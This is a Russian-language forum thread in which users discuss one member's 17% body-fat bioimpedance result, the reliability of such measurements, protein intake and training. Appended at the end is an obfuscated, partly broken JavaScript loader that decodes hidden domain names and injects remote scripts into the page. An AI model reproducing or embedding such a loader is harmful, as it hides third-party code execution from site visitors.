Дневник питания и тренировок за 09.10.2015 В моем любимом организме 17% жира!)

ух как круто! 17%! поздравляю!
Какой процент жира хочешь в идеале?

Прочитала и порадовалась за тебя, Оленька! Молодец! Так держать!

Rediska, вообще визуально мне кажется у меня еще сало топить и топить Ориентируюсь все же на вес - ползу к 57. Норма процента жира для моего возраста 16-25%, так что ниже вроде уже и не стоит, но по анализу у меня  лишних 5 кг жидкости, ее бы "отжать", а сальце пусть бы и осталось для плавности очертаний

Елена Третьякова написал:
порадовалась за тебя

Ленусик, спасибо! Я домой не шла, а летела, потом еще на рынок слетала, 25 кг грецких орехов притащила, так что зима не страшна

Обалдеть!!! Сказать, что я в шоке - это ничего не сказать, завидую белой завистью!!! Это я так понимаю изменения за год? У меня вот 12,6 жира, многовато!!! (((( Хочу 20% хотя бы... ФОТО С 17% В СТУДИЮ!!! Расскажите, как к этому пришли, какой рацион (дефицит или кушали столько, сколько тратили), сколько БЖУ употребляли? Хочу немного расстроить, дело в том, что биоимпеданс очень зависит от воды, и если у вас хотя бы 1 лишний литр воды в организме, исследование покажет много мышечной массы и низкий процент жира. У меня так всегда, когда задержка воды показывает. Потом вода уходит, и жир на 1-2% подрастает. Но даже если у вас 18-19% - это очень и очень круто!!!

Ольга Бостан написал:
25 кг грецких орехов притащила

Как же ты их дотащила, муравьишка?

Татьяна Жуковская, Мне тоже показалось немного неверным определение, но что написано пером - то написано  Ничего особого для этого не делала, никаких "танцев с бубном" так же небольшой дефицит, правда белок - не меньше 1,8-2 гр на кг массы и силовые тренировки 2 раза в неделю без перерывов. Жиры то уменьшала (начиталась 0,5 гр и все) - потом, когда опять начали сохнуть руки - вернула до 1 гр на кг. Недавно выкладывала фото (и здесь), но на нем сальце явно проглядывает, мышцы четко видны только плечевые, т.е речи от выступающих венах и быть не может. Возможно все не так радужно, но поскольку воды была приблизительно одинаково и в прошлом году и в этом, буду считать, что просто ушло 5 кг жира

Мы белые и пушистые, я так понимаю, что показатель ниже нижнего? М-дя, спасение утопающих - дело рук сами знаем кого

Татьяна Жуковская написал:
У меня вот 12,6 жира, многовато!!!

Вы же понимаете, что биоимпеданс не очень точен и сравнивать результаты разных людей на разных приборах — практически бессмысленно. Эти проценты не несут никакой особо полезной информации

А вот то, что весы показывают уменьшение жира по сравнению с предыдущим измерением — это супер и отличный результат!

Елена Третьякова, 5 кг в рюкзаке, и по 10 в сумках на плечах Как один юморист говорил "она в гору с рюкзаком, я сзади  - в рюкзаке"

Анастасия написал:
это супер и отличный результат

я в прошлом году переживала, что показатель активной мышечной массы ниже нормы, ненамного, но все же, а сейчас именно этот показатель, который в норме порадовал даже больше Не зря таки приседаю

Ольга Бостан, говорят, что с возрастом мышечный рост уменьшается и люди наоборот теряют по 2% мяса в год. Вы же наоборот набираете, значит всё делаете правильно! Движение — это молодость, красота и хорошее настроение 

Ольга Бостан, я же и говорю - муравьишка. 

Татьяна Жуковская написал:
по фото ну никак у вас не 17%

согласна, нет возможности больше нигде такой сделать, что бы сравнить результаты, по всем фитнесс-клубам звонила - нетути

Ольга Бостан написал:
для плавности очертаний

Олечка,так я рада за тебя .Главное,что бы тебе было комфортно. Муравьишка ты наша

Прочла два раза: с первого раза ощущения неполные получились.   Это просто потрясающе, пример, когда терпение и труд все перетрут. Отражение в зеркале изменят, показатели здоровья улучшат, да ещё как и с каким размахом.  Так держать! 
А врач повеселила, пусть сама три км ходит, и ни шагу больше. 

Ольга Бостан написал:
Логика врача непоколебима - после 50 надо пить статины и все тут

А что им на курсах повышения говорят, то они и пациентам транслируют. Творческих личностей там немного .
А вообще очучение такое, что ты на своей фабрике запроектировала и построила опытный образец машины времени и потихоньку ей пользуешься

Светлана Ендальцева написал:
тебе было комфортно

Мне - замечательно, ползем дальше

Hiver написал:
пусть сама три км ходит, и ни шагу больше

Только до работы 2,6 км, еще дорога назад и в перерыв столько же, как же быть - ума не приложу

Limon99 написал:
что ты на своей фабрике запроектировала и построила опытный образец машины времени и потихоньку ей пользуешься

я думала, что никто не догадается, а ты меня раскусил

Олечка! От всей души рада за тебя. Мне, конечно , до тебя как до Китая... Но вот он - пример для подражания. С отличными тебя анализами!!!

Ольга Бостан написал:
но по анализу у меня лишних 5 кг жидкости, ее бы "отжать", а сальце пусть бы и осталось для плавности очертаний

вода - в мышцах, скорее всего. 
Я бы вообще не занимался подгонкой к средним цифрам. Тем более, что глюкоза и холестерин - отлично. 

med-ved написал:
Я бы вообще не занимался подгонкой к средним цифрам.

Для меня, как для конструктора, это понятнее   В принципе, я ничего специально и не делаю (кроме ПП и треней), как в том приколе "Мойша, что у Сары с фигурой? Раньше она за ней следила, а теперь наблюдает". Вот я и наблюдаю

Людмила Каледина, Спасибо, Людочек. Ты не скромничай, огромную работу уже над собой проделала, врачей неслабо шокируешь, так что все у тебя впереди

Стелла, эти анализы делаются у нас в Воронеже в Центрах здоровья всем, а в Сочи, например, только если врач посчитает нужным Называются "биоимпендансный анализ" . Если посмотреть на протоколы видно, что определяется состав тела - количество жиров, воды, АКМ (активной мышечной массы). Есть еще "умные" бытовые весы, но мне кажется, они еще более обманывают, чем наш прибор. Они бывают еще в фитнесс центрах, некоторые определяют не только процент жира, а и процент разного жира - подкожного и висцерального (хотелось бы мне тоже это узнать, но не найду нигде у нас таких "умных" .

    Какая же Вы молодец! Рада за Вас очень!
Забавно, когда при таких показателях врач говорит - нельзя заниматься, отмените тренировки.. Ага, а потом снова в больничку с плохими результатами милости просим, да?

Вы умница, так держать!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();